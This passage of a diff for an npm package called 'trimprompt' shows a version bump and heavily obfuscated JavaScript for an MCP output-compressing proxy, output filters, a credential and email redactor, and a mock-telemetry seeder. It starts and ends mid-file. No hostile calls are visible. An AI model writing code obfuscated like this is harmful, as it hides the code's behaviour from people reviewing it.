_0xeb9af0[_0x4521b9(0x13b)]>_0x50cdcc[_0x4521b9(0x13b)]&&_0x50cdcc['push'](_0x4521b9(0x11f)+_0x2488c6+_0x4521b9(0x134)+_0x47dead+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x50cdcc[_0x4521b9(0x13f)]('\x0a');}function filterCat(_0x584e09){const _0x3e37fa=a0_0x182c7a,_0x89e201=_0x584e09[_0x3e37fa(0x12e)]('\x0a');if(_0x89e201[_0x3e37fa(0x13b)]<=0x64)return _0x584e09;const _0x18e035=[];return _0x18e035[_0x3e37fa(0x130)](..._0x89e201[_0x3e37fa(0x125)](0x0,0x32)),_0x18e035['push'](_0x3e37fa(0x13d)+(_0x89e201['length']-0x50)+_0x3e37fa(0x124)),_0x18e035[_0x3e37fa(0x130)](..._0x89e201[_0x3e37fa(0x125)](-0x1e)),_0x18e035[_0x3e37fa(0x130)]('\x0a('+_0x89e201['length']+_0x3e37fa(0x131)),_0x18e035[_0x3e37fa(0x13f)]('\x0a');}function filterGrep(_0x3010e1){const _0x565ec8=a0_0x182c7a,_0xf3d584=_0x3010e1[_0x565ec8(0x12e)]('\x0a')[_0x565ec8(0x12f)](_0x29e9a6=>_0x29e9a6[_0x565ec8(0x139)]()[_0x565ec8(0x13b)]>0x0);if(_0xf3d584['length']===0x0)return'No\x20matches\x20found';if(_0xf3d584[_0x565ec8(0x13b)]<=0x32)return _0x3010e1[_0x565ec8(0x139)]();const _0x59d8be={},_0x22f9ee=[];for(const _0x2cb1e7 of _0xf3d584){const _0x549f08=_0x2cb1e7['indexOf'](':');if(_0x549f08>0x0&&_0x549f08<0xc8){const _0x1dbf53=_0x2cb1e7[_0x565ec8(0x13e)](0x0,_0x549f08);if(_0x1dbf53['includes']('/')||_0x1dbf53[_0x565ec8(0x143)]('\x5c')||_0x1dbf53[_0x565ec8(0x143)]('.')){if(!_0x59d8be[_0x1dbf53])_0x59d8be[_0x1dbf53]=[];_0x59d8be[_0x1dbf53][_0x565ec8(0x130)](_0x2cb1e7[_0x565ec8(0x13e)](_0x549f08+0x1)[_0x565ec8(0x139)]());continue;}}_0x22f9ee[_0x565ec8(0x130)](_0x2cb1e7);}const _0xba6233=[],_0xc019a9=Object[_0x565ec8(0x144)](_0x59d8be);if(_0xc019a9[_0x565ec8(0x13b)]>0x0){const _0x803ded=0x14,_0x1a33c6=_0xc019a9[_0x565ec8(0x125)](0x0,_0x803ded);for(const _0x31998d of _0x1a33c6){const _0x2112ce=_0x59d8be[_0x31998d];if(_0x2112ce[_0x565ec8(0x13b)]<=0x3)for(const _0x338b81 of _0x2112ce){_0xba6233[_0x565ec8(0x130)](_0x31998d+':\x20'+_0x338b81);}else _0xba6233[_0x565ec8(0x130)](_0x31998d+':\x20'+_0x2112ce[0x0]),_0xba6233[_0x565ec8(0x130)](_0x31998d+_0x565ec8(0x12d)+_0x2112ce[_0x565ec8(0x13b)]+_0x565ec8(0x12a));}_0xc019a9[_0x565ec8(0x13b)]>_0x803ded&&_0xba6233[_0x565ec8(0x130)](_0x565ec8(0x145)+(_0xc019a9[_0x565ec8(0x13b)]-_0x803ded)+'\x20more\x20files\x20with\x20matches');}if(_0x22f9ee['length']>0x0){const _0x4896c4=0x1e;_0xba6233[_0x565ec8(0x130)](..._0x22f9ee[_0x565ec8(0x125)](0x0,_0x4896c4)),_0x22f9ee[_0x565ec8(0x13b)]>_0x4896c4&&_0xba6233[_0x565ec8(0x130)]('...\x20+'+(_0x22f9ee[_0x565ec8(0x13b)]-_0x4896c4)+_0x565ec8(0x127));}const _0x3aa6c4=_0xf3d584[_0x565ec8(0x13b)];return _0xba6233['push']('\x0a('+_0x3aa6c4+'\x20matches\x20across\x20'+(_0xc019a9[_0x565ec8(0x13b)]||'?')+_0x565ec8(0x12c)),_0xba6233[_0x565ec8(0x13f)]('\x0a');}
package/mcp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x3c00(_0x312b97,_0x3d5837){_0x312b97=_0x312b97-0x138;const _0x51c6cd=a0_0x51c6();let _0x3c0054=_0x51c6cd[_0x312b97];return _0x3c0054;}const a0_0x3fa1d0=a0_0x3c00;(function(_0xff6552,_0x157f38){const _0x1aa638=a0_0x3c00,_0x1ee160=_0xff6552();while(!![]){try{const _0x3205f0=-parseInt(_0x1aa638(0x143))/0x1*(-parseInt(_0x1aa638(0x147))/0x2)+-parseInt(_0x1aa638(0x13a))/0x3+parseInt(_0x1aa638(0x14d))/0x4*(-parseInt(_0x1aa638(0x15e))/0x5)+parseInt(_0x1aa638(0x159))/0x6+-parseInt(_0x1aa638(0x164))/0x7+-parseInt(_0x1aa638(0x13c))/0x8+-parseInt(_0x1aa638(0x161))/0x9*(-parseInt(_0x1aa638(0x15f))/0xa);if(_0x3205f0===_0x157f38)break;else _0x1ee160['push'](_0x1ee160['shift']());}catch(_0x1f00f1){_0x1ee160['push'](_0x1ee160['shift']());}}}(a0_0x51c6,0x571b5));var __createBinding=this&&this[a0_0x3fa1d0(0x166)]||(Object[a0_0x3fa1d0(0x168)]?function(_0xe39ad5,_0x32ae29,_0x356a39,_0x300d56){const _0x29f64d=a0_0x3fa1d0;if(_0x300d56===undefined)_0x300d56=_0x356a39;var _0x5ee0ab=Object['getOwnPropertyDescriptor'](_0x32ae29,_0x356a39);(!_0x5ee0ab||(_0x29f64d(0x162)in _0x5ee0ab?!_0x32ae29[_0x29f64d(0x146)]:_0x5ee0ab['writable']||_0x5ee0ab['configurable']))&&(_0x5ee0ab={'enumerable':!![],'get':function(){return _0x32ae29[_0x356a39];}}),Object[_0x29f64d(0x154)](_0xe39ad5,_0x300d56,_0x5ee0ab);}:function(_0x45a878,_0x5ac06c,_0xbdcc97,_0x45e388){if(_0x45e388===undefined)_0x45e388=_0xbdcc97;_0x45a878[_0x45e388]=_0x5ac06c[_0xbdcc97];}),__setModuleDefault=this&&this[a0_0x3fa1d0(0x13d)]||(Object[a0_0x3fa1d0(0x168)]?function(_0x4436ac,_0x29f24a){const _0x5aa490=a0_0x3fa1d0;Object[_0x5aa490(0x154)](_0x4436ac,_0x5aa490(0x141),{'enumerable':!![],'value':_0x29f24a});}:function(_0x3bedfc,_0x5a0d70){const _0x17852f=a0_0x3fa1d0;_0x3bedfc[_0x17852f(0x141)]=_0x5a0d70;}),__importStar=this&&this[a0_0x3fa1d0(0x142)]||(function(){var _0x411837=function(_0x2de774){const _0x306fd7=a0_0x3c00;return _0x411837=Object[_0x306fd7(0x15d)]||function(_0x586e41){const _0x44a63d=_0x306fd7;var _0x14bf12=[];for(var _0x5f0c5e in _0x586e41)if(Object[_0x44a63d(0x144)]['hasOwnProperty'][_0x44a63d(0x139)](_0x586e41,_0x5f0c5e))_0x14bf12[_0x14bf12[_0x44a63d(0x153)]]=_0x5f0c5e;return _0x14bf12;},_0x411837(_0x2de774);};return function(_0x1e848e){const _0x469222=a0_0x3c00;if(_0x1e848e&&_0x1e848e[_0x469222(0x146)])return _0x1e848e;var _0x538565={};if(_0x1e848e!=null){for(var _0x28fa1c=_0x411837(_0x1e848e),_0x462805=0x0;_0x462805<_0x28fa1c[_0x469222(0x153)];_0x462805++)if(_0x28fa1c[_0x462805]!==_0x469222(0x141))__createBinding(_0x538565,_0x1e848e,_0x28fa1c[_0x462805]);}return __setModuleDefault(_0x538565,_0x1e848e),_0x538565;};}());Object[a0_0x3fa1d0(0x154)](exports,a0_0x3fa1d0(0x146),{'value':!![]}),exports[a0_0x3fa1d0(0x13f)]=runMcpProxy;const child_process_1=require('child_process'),readline=__importStar(require(a0_0x3fa1d0(0x14f))),filters_1=require(a0_0x3fa1d0(0x14c)),tracker_1=require(a0_0x3fa1d0(0x13b));function runMcpProxy(_0x1144b2,_0x502788){const _0xd7efc=a0_0x3fa1d0,_0x5ab233=(0x0,child_process_1['spawn'])(_0x1144b2,_0x502788,{'stdio':[_0xd7efc(0x140),_0xd7efc(0x140),'inherit']});process[_0xd7efc(0x160)][_0xd7efc(0x140)](_0x5ab233[_0xd7efc(0x160)]);const _0x1bcfa3=readline['createInterface']({'input':_0x5ab233['stdout'],'terminal':![]});_0x1bcfa3['on']('line',_0x576a36=>{const _0x40e279=_0xd7efc;try{const _0x3798e6=JSON[_0x40e279(0x138)](_0x576a36);if(_0x3798e6&&_0x3798e6[_0x40e279(0x157)]===_0x40e279(0x14a)&&_0x3798e6['id']!==undefined&&_0x3798e6[_0x40e279(0x15a)]&&Array['isArray'](_0x3798e6[_0x40e279(0x15a)][_0x40e279(0x155)])){let _0x30d1be=![];for(const _0x1eab43 of _0x3798e6[_0x40e279(0x15a)]['content']){if(_0x1eab43[_0x40e279(0x152)]===_0x40e279(0x15c)&&typeof _0x1eab43[_0x40e279(0x15c)]===_0x40e279(0x167)&&_0x1eab43['text']['trim']()['length']>0x0){const _0x1c1142=_0x1eab43[_0x40e279(0x15c)],_0x150abb=(0x0,filters_1[_0x40e279(0x163)])('mcp-tool-call',_0x1c1142,'',tracker_1[_0x40e279(0x13e)][_0x40e279(0x151)]()[_0x40e279(0x150)]);tracker_1['tracker'][_0x40e279(0x14e)](_0x40e279(0x149)+_0x3798e6['id']+')',_0x1c1142,_0x150abb,0x0),_0x1eab43[_0x40e279(0x15c)]=_0x150abb,_0x30d1be=!![];}}_0x30d1be?process[_0x40e279(0x14b)][_0x40e279(0x156)](JSON['stringify'](_0x3798e6)+'\x0a'):process['stdout'][_0x40e279(0x156)](_0x576a36+'\x0a');}else process[_0x40e279(0x14b)][_0x40e279(0x156)](_0x576a36+'\x0a');}catch{process[_0x40e279(0x14b)][_0x40e279(0x156)](_0x576a36+'\x0a');}}),_0x5ab233['on'](_0xd7efc(0x165),_0x3c2a3d=>{const _0x23fa55=_0xd7efc;process[_0x23fa55(0x158)](_0x3c2a3d||0x0);}),_0x5ab233['on'](_0xd7efc(0x148),_0x2dd1b4=>{const _0xcaec69=_0xd7efc;console[_0xcaec69(0x148)](_0xcaec69(0x15b)+_0x2dd1b4[_0xcaec69(0x145)]),process[_0xcaec69(0x158)](0x1);});}function a0_0x51c6(){const _0x5871d0=['compressOutput','3869327KXWuow','close','__createBinding','string','create','parse','call','855927ikZagO','./tracker','4759848nCstfO','__setModuleDefault','tracker','runMcpProxy','pipe','default','__importStar','684019GJZvHQ','prototype','message','__esModule','2OEVdwp','error','mcp\x20tool\x20(id:\x20','2.0','stdout','./filters','1478248amytyG','logExecution','readline','redaction_enabled','getConfig','type','length','defineProperty','content','write','jsonrpc','exit','2354394cNsTsB','result','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','text','getOwnPropertyNames','5hdDTaH','10829840KHxRyC','stdin','9AHDEbK','get'];a0_0x51c6=function(){return _0x5871d0;};return a0_0x51c6();}
1
+ 'use strict';const a0_0x423bac=a0_0xdc38;(function(_0x247b3b,_0x516a7c){const _0xfe7806=a0_0xdc38,_0x271ae0=_0x247b3b();while(!![]){try{const _0x3b87fa=parseInt(_0xfe7806(0x1b8))/0x1+parseInt(_0xfe7806(0x1b0))/0x2*(-parseInt(_0xfe7806(0x1d5))/0x3)+parseInt(_0xfe7806(0x1b4))/0x4+parseInt(_0xfe7806(0x1cb))/0x5*(parseInt(_0xfe7806(0x1b5))/0x6)+-parseInt(_0xfe7806(0x1c9))/0x7*(-parseInt(_0xfe7806(0x1b7))/0x8)+parseInt(_0xfe7806(0x1cc))/0x9*(parseInt(_0xfe7806(0x1b9))/0xa)+-parseInt(_0xfe7806(0x1c2))/0xb;if(_0x3b87fa===_0x516a7c)break;else _0x271ae0['push'](_0x271ae0['shift']());}catch(_0x1ea92d){_0x271ae0['push'](_0x271ae0['shift']());}}}(a0_0x3bd4,0x6d51b));var __createBinding=this&&this['__createBinding']||(Object[a0_0x423bac(0x1d2)]?function(_0x80201c,_0x480e5b,_0x372bee,_0x3b3fa4){const _0x37c767=a0_0x423bac;if(_0x3b3fa4===undefined)_0x3b3fa4=_0x372bee;var _0x5c1361=Object[_0x37c767(0x1be)](_0x480e5b,_0x372bee);(!_0x5c1361||(_0x37c767(0x1c3)in _0x5c1361?!_0x480e5b[_0x37c767(0x1cf)]:_0x5c1361[_0x37c767(0x1db)]||_0x5c1361[_0x37c767(0x1ba)]))&&(_0x5c1361={'enumerable':!![],'get':function(){return _0x480e5b[_0x372bee];}}),Object[_0x37c767(0x1c5)](_0x80201c,_0x3b3fa4,_0x5c1361);}:function(_0xd86a8f,_0x2cb24e,_0x4385ce,_0x164c81){if(_0x164c81===undefined)_0x164c81=_0x4385ce;_0xd86a8f[_0x164c81]=_0x2cb24e[_0x4385ce];}),__setModuleDefault=this&&this[a0_0x423bac(0x1b6)]||(Object[a0_0x423bac(0x1d2)]?function(_0x25d951,_0x2ed0ea){const _0x31f35d=a0_0x423bac;Object[_0x31f35d(0x1c5)](_0x25d951,'default',{'enumerable':!![],'value':_0x2ed0ea});}:function(_0x373cd5,_0x1bc2d3){_0x373cd5['default']=_0x1bc2d3;}),__importStar=this&&this[a0_0x423bac(0x1d4)]||(function(){var _0x1e7e44=function(_0x218f7f){const _0x3d7c22=a0_0xdc38;return _0x1e7e44=Object[_0x3d7c22(0x1c7)]||function(_0x5b79e0){const _0x524dfd=_0x3d7c22;var _0x5176f5=[];for(var _0x16c9c7 in _0x5b79e0)if(Object[_0x524dfd(0x1c6)][_0x524dfd(0x1bb)]['call'](_0x5b79e0,_0x16c9c7))_0x5176f5[_0x5176f5[_0x524dfd(0x1da)]]=_0x16c9c7;return _0x5176f5;},_0x1e7e44(_0x218f7f);};return function(_0x4a5d7a){const _0x2d0abd=a0_0xdc38;if(_0x4a5d7a&&_0x4a5d7a[_0x2d0abd(0x1cf)])return _0x4a5d7a;var _0x177790={};if(_0x4a5d7a!=null){for(var _0x2c37d2=_0x1e7e44(_0x4a5d7a),_0x28abaa=0x0;_0x28abaa<_0x2c37d2[_0x2d0abd(0x1da)];_0x28abaa++)if(_0x2c37d2[_0x28abaa]!==_0x2d0abd(0x1cd))__createBinding(_0x177790,_0x4a5d7a,_0x2c37d2[_0x28abaa]);}return __setModuleDefault(_0x177790,_0x4a5d7a),_0x177790;};}());function a0_0x3bd4(){const _0x40d28a=['7846234uLHskL','get','pipe','defineProperty','prototype','getOwnPropertyNames','write','63gNPXYP','result','15emPtei','465561sLjIyh','default','parse','__esModule','logExecution','stdin','create','2.0','__importStar','1344162WMSnef','inherit','tracker','content','compressOutput','length','writable','spawn','readline','error','redaction_enabled','./filters','2GovJJb','createInterface','line','message','979260POXeYE','1508412nGbVbf','__setModuleDefault','164944pflnCh','269349pJPDsN','30VuOenD','configurable','hasOwnProperty','close','isArray','getOwnPropertyDescriptor','stdout','string','text'];a0_0x3bd4=function(){return _0x40d28a;};return a0_0x3bd4();}Object['defineProperty'](exports,a0_0x423bac(0x1cf),{'value':!![]}),exports['runMcpProxy']=runMcpProxy;const child_process_1=require('child_process'),readline=__importStar(require(a0_0x423bac(0x1dd))),filters_1=require(a0_0x423bac(0x1e0)),tracker_1=require('./tracker');function a0_0xdc38(_0x45a5b5,_0x552ea7){_0x45a5b5=_0x45a5b5-0x1b0;const _0x3bd48c=a0_0x3bd4();let _0xdc386=_0x3bd48c[_0x45a5b5];return _0xdc386;}function runMcpProxy(_0x578e14,_0x10dac0){const _0x2da153=a0_0x423bac,_0x1a6d50=(0x0,child_process_1[_0x2da153(0x1dc)])(_0x578e14,_0x10dac0,{'stdio':[_0x2da153(0x1c4),'pipe',_0x2da153(0x1d6)]});process[_0x2da153(0x1d1)][_0x2da153(0x1c4)](_0x1a6d50[_0x2da153(0x1d1)]);const _0x33a35f=readline[_0x2da153(0x1b1)]({'input':_0x1a6d50['stdout'],'terminal':![]});_0x33a35f['on'](_0x2da153(0x1b2),_0x321f96=>{const _0x350c95=_0x2da153;try{const _0x4aaae7=JSON[_0x350c95(0x1ce)](_0x321f96);if(_0x4aaae7&&_0x4aaae7['jsonrpc']===_0x350c95(0x1d3)&&_0x4aaae7['id']!==undefined&&_0x4aaae7[_0x350c95(0x1ca)]&&Array[_0x350c95(0x1bd)](_0x4aaae7[_0x350c95(0x1ca)][_0x350c95(0x1d8)])){let _0x48df1a=![];for(const _0x47f882 of _0x4aaae7[_0x350c95(0x1ca)][_0x350c95(0x1d8)]){if(_0x47f882['type']===_0x350c95(0x1c1)&&typeof _0x47f882[_0x350c95(0x1c1)]===_0x350c95(0x1c0)&&_0x47f882[_0x350c95(0x1c1)]['trim']()[_0x350c95(0x1da)]>0x0){const _0xda4532=_0x47f882[_0x350c95(0x1c1)],_0x19a87d=(0x0,filters_1[_0x350c95(0x1d9)])('mcp-tool-call',_0xda4532,'',tracker_1[_0x350c95(0x1d7)]['getConfig']()[_0x350c95(0x1df)]);tracker_1['tracker'][_0x350c95(0x1d0)]('mcp\x20tool\x20(id:\x20'+_0x4aaae7['id']+')',_0xda4532,_0x19a87d,0x0),_0x47f882['text']=_0x19a87d,_0x48df1a=!![];}}_0x48df1a?process[_0x350c95(0x1bf)][_0x350c95(0x1c8)](JSON['stringify'](_0x4aaae7)+'\x0a'):process['stdout'][_0x350c95(0x1c8)](_0x321f96+'\x0a');}else process['stdout'][_0x350c95(0x1c8)](_0x321f96+'\x0a');}catch{process[_0x350c95(0x1bf)][_0x350c95(0x1c8)](_0x321f96+'\x0a');}}),_0x1a6d50['on'](_0x2da153(0x1bc),_0xbecf2c=>{process['exit'](_0xbecf2c||0x0);}),_0x1a6d50['on']('error',_0x1bff58=>{const _0x5cef6b=_0x2da153;console[_0x5cef6b(0x1de)]('[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20'+_0x1bff58[_0x5cef6b(0x1b3)]),process['exit'](0x1);});}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "trimprompt",
3
- "version": "1.0.10",
3
+ "version": "1.0.11",
4
4
  "description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
5
5
  "main": "cli.js",
6
6
  "bin": {
package/redactor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1e7e61=a0_0x2734;(function(_0x5dedda,_0x314385){const _0x2a3fae=a0_0x2734,_0x2d754f=_0x5dedda();while(!![]){try{const _0x40dcbc=-parseInt(_0x2a3fae(0x161))/0x1*(parseInt(_0x2a3fae(0x156))/0x2)+parseInt(_0x2a3fae(0x157))/0x3*(parseInt(_0x2a3fae(0x166))/0x4)+-parseInt(_0x2a3fae(0x155))/0x5+-parseInt(_0x2a3fae(0x151))/0x6*(-parseInt(_0x2a3fae(0x15f))/0x7)+-parseInt(_0x2a3fae(0x154))/0x8+-parseInt(_0x2a3fae(0x150))/0x9+parseInt(_0x2a3fae(0x14f))/0xa*(parseInt(_0x2a3fae(0x15b))/0xb);if(_0x40dcbc===_0x314385)break;else _0x2d754f['push'](_0x2d754f['shift']());}catch(_0x540389){_0x2d754f['push'](_0x2d754f['shift']());}}}(a0_0x2b47,0x471bd));function a0_0x2b47(){const _0x554b17=['33Makkqf','redactor','Redactor','IPv4\x20Address','3576174accYTe','rules','13XPTqvr','__esModule','Email\x20Address','[REDACTED_IP]','loadDefaultRules','84cDtgMu','$1:\x20[REDACTED_CREDENTIAL]','replacement','1965610aMfRdL','1819521gdbteQ','6XwbvZg','Database\x20Connection\x20String','API\x20Key\x20or\x20Password','1927032FpgJXP','1827970GkWiHu','10954qgaMbq','10077IafDmq','redact','defineProperty','regex'];a0_0x2b47=function(){return _0x554b17;};return a0_0x2b47();}function a0_0x2734(_0x56a0f8,_0x1249e6){_0x56a0f8=_0x56a0f8-0x14f;const _0x2b470b=a0_0x2b47();let _0x273408=_0x2b470b[_0x56a0f8];return _0x273408;}Object[a0_0x1e7e61(0x159)](exports,a0_0x1e7e61(0x162),{'value':!![]}),exports[a0_0x1e7e61(0x15c)]=exports[a0_0x1e7e61(0x15d)]=void 0x0;class Redactor{['rules']=[];constructor(){const _0x3ba7f7=a0_0x1e7e61;this[_0x3ba7f7(0x165)]();}[a0_0x1e7e61(0x165)](){const _0x57b115=a0_0x1e7e61;this[_0x57b115(0x160)]=[{'name':_0x57b115(0x152),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':'[REDACTED_DB_CONNECTION_STRING]'},{'name':_0x57b115(0x153),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x57b115(0x167)},{'name':_0x57b115(0x15e),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x57b115(0x164)},{'name':_0x57b115(0x163),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':'[REDACTED_EMAIL]'}];}[a0_0x1e7e61(0x158)](_0x54fb6e){const _0x24ae41=a0_0x1e7e61;let _0x29b1df=_0x54fb6e;for(const _0x5cc811 of this[_0x24ae41(0x160)]){_0x29b1df=_0x29b1df['replace'](_0x5cc811[_0x24ae41(0x15a)],_0x5cc811[_0x24ae41(0x168)]);}return _0x29b1df;}}exports[a0_0x1e7e61(0x15d)]=Redactor,exports[a0_0x1e7e61(0x15c)]=new Redactor();
1
+ 'use strict';const a0_0x1cc35b=a0_0x5743;(function(_0x5e690b,_0x42bdf0){const _0x37a5bc=a0_0x5743,_0x3766c2=_0x5e690b();while(!![]){try{const _0x410f90=-parseInt(_0x37a5bc(0xef))/0x1+parseInt(_0x37a5bc(0xf4))/0x2*(parseInt(_0x37a5bc(0x100))/0x3)+-parseInt(_0x37a5bc(0xfa))/0x4*(parseInt(_0x37a5bc(0xec))/0x5)+-parseInt(_0x37a5bc(0xf8))/0x6*(-parseInt(_0x37a5bc(0xf9))/0x7)+-parseInt(_0x37a5bc(0xfb))/0x8+parseInt(_0x37a5bc(0xfe))/0x9*(-parseInt(_0x37a5bc(0xfd))/0xa)+parseInt(_0x37a5bc(0xee))/0xb;if(_0x410f90===_0x42bdf0)break;else _0x3766c2['push'](_0x3766c2['shift']());}catch(_0x87df82){_0x3766c2['push'](_0x3766c2['shift']());}}}(a0_0x248f,0x3d994));Object[a0_0x1cc35b(0x101)](exports,'__esModule',{'value':!![]}),exports[a0_0x1cc35b(0xf0)]=exports[a0_0x1cc35b(0xf2)]=void 0x0;class Redactor{['rules']=[];constructor(){this['loadDefaultRules']();}[a0_0x1cc35b(0xf3)](){const _0x46971c=a0_0x1cc35b;this['rules']=[{'name':'Database\x20Connection\x20String','regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x46971c(0xff)},{'name':'API\x20Key\x20or\x20Password','regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x46971c(0xf1)},{'name':_0x46971c(0x102),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x46971c(0xea)},{'name':_0x46971c(0xf7),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x46971c(0xf6)}];}[a0_0x1cc35b(0xf5)](_0x21a37f){const _0x3ce4dc=a0_0x1cc35b;let _0x4ff602=_0x21a37f;for(const _0xc19321 of this[_0x3ce4dc(0xeb)]){_0x4ff602=_0x4ff602[_0x3ce4dc(0xed)](_0xc19321['regex'],_0xc19321[_0x3ce4dc(0xfc)]);}return _0x4ff602;}}function a0_0x248f(){const _0x410d46=['$1:\x20[REDACTED_CREDENTIAL]','Redactor','loadDefaultRules','190rFgKYa','redact','[REDACTED_EMAIL]','Email\x20Address','12SBHToa','1213282HYPdJd','4EYhAOt','1794704niYMxL','replacement','2024410uRDVJA','18Azzumh','[REDACTED_DB_CONNECTION_STRING]','9420xjeiBb','defineProperty','IPv4\x20Address','[REDACTED_IP]','rules','1765675DnRGBg','replace','11632676vQBICl','467805hjvxsP','redactor'];a0_0x248f=function(){return _0x410d46;};return a0_0x248f();}function a0_0x5743(_0x3e0e84,_0x9ee959){_0x3e0e84=_0x3e0e84-0xea;const _0x248f6c=a0_0x248f();let _0x574334=_0x248f6c[_0x3e0e84];return _0x574334;}exports[a0_0x1cc35b(0xf2)]=Redactor,exports[a0_0x1cc35b(0xf0)]=new Redactor();
package/seed.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x46bdf0=a0_0x3d1d;(function(_0x3c1ed3,_0xc71de2){const _0x1f6650=a0_0x3d1d,_0x582ab4=_0x3c1ed3();while(!![]){try{const _0x2e26f0=-parseInt(_0x1f6650(0x14a))/0x1+-parseInt(_0x1f6650(0x14c))/0x2*(-parseInt(_0x1f6650(0x136))/0x3)+parseInt(_0x1f6650(0x13b))/0x4+parseInt(_0x1f6650(0x12b))/0x5+parseInt(_0x1f6650(0x147))/0x6+parseInt(_0x1f6650(0x13c))/0x7*(-parseInt(_0x1f6650(0x12f))/0x8)+-parseInt(_0x1f6650(0x148))/0x9;if(_0x2e26f0===_0xc71de2)break;else _0x582ab4['push'](_0x582ab4['shift']());}catch(_0x44152c){_0x582ab4['push'](_0x582ab4['shift']());}}}(a0_0x140a,0x45454));function a0_0x3d1d(_0x25ba35,_0x42670e){_0x25ba35=_0x25ba35-0x126;const _0x140a6=a0_0x140a();let _0x3d1d1b=_0x140a6[_0x25ba35];return _0x3d1d1b;}Object[a0_0x46bdf0(0x132)](exports,a0_0x46bdf0(0x145),{'value':!![]});const tracker_1=require(a0_0x46bdf0(0x134));function a0_0x140a(){const _0x19f365=['2770280UOQUiA','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','test_api.py\x20PASS\x0a','[INFO]\x20Building\x20modules...\x0a','32aacgtM','All\x20303\x20tests\x20passed\x20in\x204.22s.','test_auth.py\x20PASS\x0a','defineProperty','added\x201420\x20packages\x20in\x2014s\x0a','./tracker','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','7485xYsERL','claude-3-opus','Optimizing\x20assets...\x0a','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','test_db.py\x20PASS\x0a','1278460TwOOzb','155813ZmyiiY','npm\x20run\x20build','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','Compilation\x20Output:\x0a','Database\x20successfully\x20seeded!','logExecution','Successfully\x20built\x20image.','repeat','tracker','__esModule','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','1595190CqwxfX','8410545HsLmmV','docker\x20build\x20.','46833mawcAJ','pytest\x20tests/app','172eeBkBq','log','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','gemini-1-5-pro','Test\x20suite\x20run\x20starting...\x0a','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'];a0_0x140a=function(){return _0x19f365;};return a0_0x140a();}console[a0_0x46bdf0(0x126)](a0_0x46bdf0(0x12c)),process.env.TRIMPROMPT_MODEL=a0_0x46bdf0(0x137),tracker_1[a0_0x46bdf0(0x144)][a0_0x46bdf0(0x141)](a0_0x46bdf0(0x13d),a0_0x46bdf0(0x13f)+a0_0x46bdf0(0x12e)+a0_0x46bdf0(0x138)+a0_0x46bdf0(0x12a)[a0_0x46bdf0(0x143)](0x190),a0_0x46bdf0(0x146),0x0),process.env.TRIMPROMPT_MODEL='gpt-4o',tracker_1[a0_0x46bdf0(0x144)]['logExecution'](a0_0x46bdf0(0x14b),a0_0x46bdf0(0x129)+a0_0x46bdf0(0x131)+a0_0x46bdf0(0x13a)+a0_0x46bdf0(0x12d)['repeat'](0x12c)+a0_0x46bdf0(0x130),a0_0x46bdf0(0x13e),0x0),process.env.TRIMPROMPT_MODEL=a0_0x46bdf0(0x128),tracker_1[a0_0x46bdf0(0x144)][a0_0x46bdf0(0x141)](a0_0x46bdf0(0x149),a0_0x46bdf0(0x127)+'Step\x201/10\x20:\x20FROM\x20node:20\x0a'+a0_0x46bdf0(0x139)+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+a0_0x46bdf0(0x133)[a0_0x46bdf0(0x143)](0x3)+a0_0x46bdf0(0x142),a0_0x46bdf0(0x135),0x0),console[a0_0x46bdf0(0x126)](a0_0x46bdf0(0x140));
1
+ 'use strict';const a0_0x4ace25=a0_0x41dc;(function(_0x4e7421,_0x1430cd){const _0x2cfd28=a0_0x41dc,_0x3acaa2=_0x4e7421();while(!![]){try{const _0x1c07ff=parseInt(_0x2cfd28(0x9d))/0x1*(parseInt(_0x2cfd28(0x8c))/0x2)+parseInt(_0x2cfd28(0x89))/0x3+parseInt(_0x2cfd28(0x96))/0x4+parseInt(_0x2cfd28(0x99))/0x5*(parseInt(_0x2cfd28(0x8e))/0x6)+parseInt(_0x2cfd28(0xa7))/0x7+-parseInt(_0x2cfd28(0x8d))/0x8*(parseInt(_0x2cfd28(0x97))/0x9)+-parseInt(_0x2cfd28(0x93))/0xa;if(_0x1c07ff===_0x1430cd)break;else _0x3acaa2['push'](_0x3acaa2['shift']());}catch(_0x1f45a4){_0x3acaa2['push'](_0x3acaa2['shift']());}}}(a0_0x1faf,0x21180));function a0_0x1faf(){const 